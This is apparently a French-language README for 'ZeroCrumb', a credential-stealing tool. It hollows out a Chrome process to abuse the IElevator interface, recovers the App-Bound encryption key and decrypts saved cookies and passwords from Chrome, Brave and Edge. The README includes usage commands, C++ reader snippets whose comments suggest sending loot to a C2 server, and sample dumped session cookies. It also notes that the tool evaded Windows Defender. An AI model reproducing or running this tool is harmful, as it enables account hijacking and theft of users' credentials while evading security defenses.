
Extraction des identifiants et cookies protégés par App-Bound sans privilèges.
Extraction des identifiants et cookies protégés par App Bound sans privilèges.
ZeroCrumb contourne le service Chrome Elevation en usurpant l'identité d'une instance de Chrome à l'aide du Transacted Hollowing, ce qui nous permet d'utiliser l'interface COM IElevator pour déchiffrer la clé App Bound.
Ensuite, le dumpeur de clé s'exécutant dans l'instance Chrome creusée envoie la clé déchiffrée à ZeroCrumb via un Named Pipe.
Après cela, ZeroCrumb déchiffre les cookies/mots de passe du navigateur spécifié avec la clé récupérée précédemment.
L'utilisation de pipes nommés dans ZeroCrumb permet à n'importe quel programme, tant qu'il peut utiliser l'API Windows, de se connecter au pipe nommé ZeroCrumb et de lire la clé App Bound.
Si vous souhaitez utiliser ZeroCrumb comme bibliothèque, vous devrez compiler une DLL qui exporte une fonction réalisant le creusement de Chrome avec le dumpeur de clé. Vous devrez peut-être aussi intégrer le PE du dumpeur de clé dans la section .rsrc de la DLL compilée, puis le récupérer avec les API Windows des ressources d'application.
Vous pouvez exécuter ceci dans n'importe quel répertoire de votre choix, à condition que le dumpeur de clé se trouve dans le même répertoire.
ZeroCrumb.exe <BROWSER_TYPE> <DUMP_TYPE>
Types de navigateurs :
Chrome -> 0
Brave -> 1
Edge -> 2
Types de dump :
Cookies
Passwords
ZeroCrumb fournit des classes CookieReader et PasswordReader faciles à utiliser :
auto reader = new CookieReader(cookiesPath.c_str(), key);
reader->initSqliteDb();
reader->prepare(queries::cookies);
reader->populateCookies();
for (auto& cookie : reader->cookies) {
string name = cookie->name;
string site = cookie->site;
string path = cookie->path;
string cookieValue = cookie->cookie;
// dump to file, send back to C2, etc...
}
// keep in mind passwords aren't encrypted using the app bound key (yet)
auto reader = new PasswordReader(passwordsPath.c_str(), key);
reader->initSqliteDb();
reader->prepare(queries::passwords);
reader->populatePasswords();
for (auto& password : reader->passwords) {
auto name = password->name;
auto site = password->site;
auto passwordValue = password->password;
// dump to file, send back to C2, etc...
}
ZeroCrumb nécessite deux dépendances Vcpkg :
sqlite3
libsodium
$ ZeroCrumb.exe 0 Cookies
[*] Reading From Pipe...
App Bound Key: 980f8ea8af3299d966a26242.....
============
Name: SIDCC
Site: .google.com
Path: /
Cookie: AKEyXzXxD19T0KLMkrMC-eUXkrnEFi92OXq6rj1vydvmdL73olBVQGRQ4cG_hK5sqPhO1rLd1CM
============
Name: __Secure-1PSIDCC
Site: .google.com
Path: /
Cookie: AKEyXzXXC8_MNDlVbAaw512aXu-QJkl0uKNW66rhjeufotzoJhT3OPN5TuCQnfKS8l57_WGfDw
============
Name: __Secure-3PSIDCC
Site: .google.com
Path: /
Cookie: AKEyXzVVySM4FWl9itegCN2evcSmBvGc7_iXHqkKZ6VYPKmR--_LsHx1Aflar6SU4nyJiDaFq028
============
Name: udid
Site: .veepn.com
Path: /
Cookie: 0dd5b8bb-8c5b-47f3-87f9-1db8fa7d885f
============
Vous pouvez modifier ZeroCrumb pour qu'il fonctionne avec tout type d'identifiant autre que les cookies et les mots de passe.
Ce n'est en aucun cas l'implémentation la plus furtive de ce contournement ; elle peut être détectée en recherchant des chaînes spécifiques, en hookant des API, etc.
Au moment où je teste ceci, il a passé Windows Defender mais je n'ai pas vérifié d'autres antivirus.
Je laisse le soin à l'utilisateur de rendre le contournement plus furtif si cette implémentation est signée à l'avenir.